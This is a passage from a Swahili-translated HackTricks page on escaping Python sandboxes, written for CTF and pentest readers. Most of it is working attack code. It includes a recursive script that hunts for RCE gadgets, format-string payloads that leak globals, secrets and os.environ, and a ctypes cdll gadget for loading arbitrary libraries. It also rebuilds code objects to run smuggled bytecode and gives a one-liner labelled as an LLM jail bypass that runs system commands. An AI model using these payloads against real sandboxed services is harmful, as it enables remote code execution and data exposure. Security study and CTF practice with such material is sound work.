bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
Utafutaji wa Rekursivu wa builtins, globals...
Warning
Hii ni ajabu. Ikiwa unatafuta object kama globals, builtins, open au chochote, tumia tu script hii ili kutafuta kwa njia ya rekursivu maeneo ambapo unaweza kupata object hiyo.
import os, sys # Import these to find more gadgets
SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),
# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),
# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}
#More than 4 is very time consuming
MAX_CONT = 4
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()
def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return
# If already checked, stop
#if name and name in ALREADY_CHECKED:
# return
# Add to already checked
#if name:
# ALREADY_CHECKED.add(name)
# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass
except:
pass
# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
print()
print(SEARCH_FOR)
if __name__ == "__main__":
main()
Unaweza kuangalia matokeo ya script hii kwenye ukurasa huu:
{{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}}
Python Format String
Ikiwa utatuma string kwa python ambayo itakayofomatiwa, unaweza kutumia {}
kufikia taarifa za ndani za python. Unaweza kutumia mifano iliyotangulia kufikia globals au builtins, kwa mfano.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}
class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname
def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)
people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
Angalia jinsi unaweza kupata sifa kwa njia ya kawaida kwa kutumia dot kama people_obj.__init__
na kipengee cha dict kwa mabano bila nukuu __globals__[CONFIG]
Pia kumbuka kuwa unaweza kutumia .__dict__
kuorodhesha vipengele vya kitu get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Vipengele vingine vya kuvutia vya format strings ni uwezekano wa kuendesha functions str
, repr
na ascii
kwenye kitu kilichoelezwa kwa kuongeza !s
, !r
, !a
mtawalia:
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
Zaidi ya hayo, inawezekana code new formatters katika madarasa:
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
Mifano zaidi kuhusu format string yanaweza kupatikana kwenye https://pyformat.info/
Caution
Angalia pia ukurasa ufuatao kwa gadgets ambazo zinaweza kusoma taarifa nyeti kutoka kwa vitu vya ndani vya Python:
{{#ref}} ../python-internal-read-gadgets.md {{#endref}}
Payloads za Ufunuo wa Taarifa Nyeti
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
LLM Jails bypass
Kutoka here: ().class.base.subclasses()[108].load_module('os').system('dir')
From format to RCE loading libraries
Kulingana na TypeMonkey chall from this writeup inawezekana kupakia libraries yoyote kutoka disk kwa kutumia udhaifu wa format string katika python.
Kumbuka, kila wakati tendo linapofanywa katika python fonksheni fulani hufanywa. Kwa mfano 2*3
itatekeleza (2).mul(3)
au {'a':'b'}['a']
itakuwa {'a':'b'}.__getitem__('a')
.
Una zaidi kama hizi katika sehemu Python execution without calls.
Python format string vuln hauruhusu kutekeleza function (haiwezi kutumia parenthesis), kwa hivyo haiwezekani kupata RCE kama '{0.system("/bin/sh")}'.format(os)
.
Hata hivyo, inawezekana kutumia []
. Kwa hiyo, ikiwa maktaba ya kawaida ya python ina method ya __getitem__
au __getattr__
inayotekeleza code yoyote, inawezekana kuziabusu kupata RCE.
Akitafuta gadget kama hiyo katika python, writeup ilipendekeza hii Github search query. Ambapo alipata hii one:
class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype
def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll
def __getitem__(self, name):
return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
Kifaa hiki kinawawezesha kupakia maktaba kutoka diski. Kwa hivyo, inahitajika kwa namna fulani kuandika au kupakia maktaba itakayopakiwa, na kuhakikisha imekomilishwa ipasavyo kwa seva iliyoshambuliwa.
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
Changamoto hii kwa kweli inatumia udhaifu mwingine kwenye server unaoruhusu kuunda faili za aina yoyote kwenye diski ya server.
Kuchambua Python Objects
Tip
Ikiwa unataka kujifunza kuhusu python bytecode kwa undani soma chapisho hiki ajabu kuhusu mada hiyo: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d
Katika baadhi ya CTFs unaweza kupewa jina la custom function where the flag na unahitaji kuona the internals za function ili kuitoa.
Hii ndiyo function ya kuchunguza:
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
dir
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__
and func_globals
(Sawa) hupata mazingira ya global. Katika mfano unaweza kuona baadhi ya imported modules, baadhi ya global variables na yaliyomo yameelezwa:
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
See here more places to obtain globals
Kupata msimbo wa function
__code__
and func_code
: Unaweza kufikia sifa hii ya function ili kupata code object ya function.
# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>
#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Kupata Taarifa za Msimbo
# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")
# __doc__: Get the description of the function, if any
print.__doc__
# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()
c.co_names
('a', 'b', 'f')
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()
#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Disassembly ya function
import dis
dis.dis(get_flag)
2 0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (var1)
3 6 LOAD_CONST 2 ('secretcode')
9 STORE_FAST 2 (var2)
4 12 LOAD_CONST 3 ('some')
15 LOAD_CONST 4 ('array')
18 BUILD_LIST 2
21 STORE_FAST 3 (var3)
5 24 LOAD_FAST 0 (some_input)
27 LOAD_FAST 2 (var2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE
8 >> 40 LOAD_CONST 6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
Kumbuka kwamba ikiwa huwezi import dis
katika python sandbox unaweza kupata bytecode ya function (get_flag.func_code.co_code
) na disassemble yake kwenye mashine yako. Hautaona maudhui ya variables zinazopakiwa (LOAD_CONST
) lakini unaweza kuzikisia kutoka (get_flag.func_code.co_consts
) kwa sababu LOAD_CONST
also inaonyesha offset ya variable inayopakiwa.
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 4 (4)
18 BUILD_LIST 2
21 STORE_FAST 3 (3)
24 LOAD_FAST 0 (0)
27 LOAD_FAST 2 (2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 5 (5)
39 RETURN_VALUE
>> 40 LOAD_CONST 6 (6)
43 RETURN_VALUE
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
Kujenga Python
Sasa, hebu tufikirie kwamba kwa namna fulani unaweza dump the information about a function that you cannot execute lakini unahitaji kuitekeleza.
Kama katika mfano ufuatao, unaweza can access the code object ya function hiyo, lakini kwa kusoma tu disassemble haufahamu jinsi ya kuhesabu flag (imagine a more complex calc_flag
function)
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
Kuunda code object
Kwanza kabisa, tunahitaji kujua jinsi ya kuunda na kuendesha code object ili tuweze kuunda moja ili kuendesha function yetu leaked:
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
# Execution
eval(code_obj) #Execute as a whole script
# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
Tip
Kulingana na toleo la python the vigezo of
code_type
may have a mpangilio tofauti. Njia bora ya kujua mpangilio wa vigezo katika toleo la python unayotumia ni kuendesha:import types types.CodeType.__doc__ 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Recreating a leaked function
Warning
Katika mfano ufuatao, tutachukua data zote zinazohitajika moja kwa moja kutoka kwa function code object ili kuunda tena function. Katika mfano halisi, yote ya maadili ya kuendesha function
code_type
ndizo ambazo utahitaji leak.
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
Kwepa Ulinzi
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona jinsi ya kuendesha python code yoyote ukitumia compile
function. Hii ni ya kuvutia kwa sababu unaweza kuendesha whole scripts na loops na kila kitu katika one liner (na tunaweza kufanya hivyo pia kwa kutumia exec
).
Kwa kawaida, wakati mwingine inaweza kuwa muhimu kuunda compiled object kwenye local machine na kuitekeleza katika CTF machine (kwa mfano kwa sababu hatuna compiled
function katika CTF).
Kwa mfano, hebu tuchapishe na kutekeleza kwa mkono function inayosoma ./poc.py:
#Locally
def read():
return open("./poc.py",'r').read()
read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')
# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
Ikiwa huwezi kufikia eval
au exec
unaweza kuunda proper function, lakini kuitwa moja kwa moja kwa kawaida itashindwa na: constructor not accessible in restricted mode. Hivyo utahitaji function not in the restricted environment to call this function.
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
Decompiling Compiled Python
Kwa kutumia zana kama https://www.decompiler.com/ mtu anaweza decompile msimbo wa python uliokomilishwa.
Angalia mafunzo haya:
{{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}}
Python Mbalimbali
Assert
Python inayotekelezwa kwa uboreshaji kwa param -O
itaondoa assert statements na msimbo wowote unaotegemea thamani ya debug.
Kwa hivyo, ukaguzi kama
def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
itapita kando
Marejeo
- https://lbarman.ch/blog/pyjail/
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
- https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
- https://gynvael.coldwind.pl/n/python_sandbox_escape
- https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
- https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6
- CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD
- c53elyas/CVE-2023-33733 PoC and write-up
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE
{{#include ../../../banners/hacktricks-training.md}}